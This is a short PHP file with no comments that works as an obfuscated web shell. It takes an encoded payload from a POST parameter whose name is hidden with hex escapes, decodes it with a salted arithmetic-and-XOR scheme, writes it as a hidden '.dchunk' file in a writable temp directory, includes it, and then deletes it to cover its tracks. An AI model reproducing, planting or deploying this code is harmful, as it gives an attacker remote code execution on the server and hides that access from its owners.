<?php

if(!is_null($_POST["\x70\x74r"] ?? null)){
	$ent = $_POST["\x70\x74r"];
		$ent	 =explode(  ".",$ent	 	)  ;
	$val=	'';
            $salt=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=	strlen($salt);
    
            foreach ($ent as $j => $v3) {
                $chS=	ord($salt[$j%  $lenS]);
                $d=	((int)$v3 - $chS - ($j%  10)) ^ 85;
                $val .= chr($d);}
	$entry = array_filter([sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]);
	foreach ($entry as $fac) {
    		if ((bool)is_dir($fac) && (bool)is_writable($fac)) {
    $comp = join("/", [$fac, ".dchunk"]);
    if (@file_put_contents($comp, $val) !== false) {
	include $comp;
	unlink($comp);
	die();
}
}
}
}